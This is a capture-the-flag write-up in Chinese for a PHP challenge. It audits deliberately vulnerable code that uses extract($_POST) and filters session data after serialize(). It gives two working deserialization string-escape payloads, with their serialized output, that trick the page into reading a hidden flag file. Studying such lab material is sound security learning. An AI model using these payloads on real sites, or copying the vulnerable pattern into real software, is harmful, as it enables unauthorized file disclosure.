<?php $function = @$_GET['f']; function filter($img){ $filter_arr = array('php','flag','php5','php4','fl1g'); $filter = '/'.implode('|',$filter_arr).' ...
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
題目如上:
首先進行審計:
① 第一個方法filter是過濾
②第一個if是把$_SESSION變數重置。
然後接下來
extract($_POST);
上面這個是吧key-value對直接變成變數,這裡可以用來變數覆蓋。
接下來是
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
這裡如果get裡面有sha1就會把給加密,如果沒有又沒法由用戶控制,然後繼續往後面審計
$serialize_info = filter(serialize($_SESSION));
這個是進行序列化以後同時執行過濾方法
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
這裡能夠查詢的位置是$userinfo['img']而這個對應的其實是過濾後的$_SESSION['img'],但是,它不是直接賦值的,而是採用了反序列化,如果改變序列化以後的字元串,就可以對訪問你想要選擇的內容。
題目中還有一個提示是phpinfo
於是首先訪問phpinfo
最終找到
auto_append_file是執行完這個php就載入這後面的php,因此說明flag可能在這裡。
這個題目要利用反序列化逃逸,因為我們是沒法直接進行修改,因此可以通過黑名單之類的,對反序列化以後的字元進行增加或者刪減來達到逃逸的目的。
payload:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}
payload解釋:
array(3) {
["user"]=> string(23) "flagflagflagflagflagphp"
["function"]=> string(57) "";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}"
["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
string(143) "a:3:{s:4:"user";s:23:"";s:8:"function";s:57:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
這裡用的方法是改value,由於本身有三個鍵對值所以後面需要補一個1=>1
改value的思路是利用反序列化方法,反序列化執行到s:23:的時候由於黑名單把一部分字元串刪去了,導致他會把後續的引號之類的當成user的value來處理,所以只需要處理出來一直到下一個引號開始
處理完三個以後同時括弧閉合了,後面的他就不會處理了,會當成垃圾一樣丟棄掉。
另一個payload
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
這個是通過改key
array(2) {
["flagphp"]=> string(48) ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
string(107) "a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"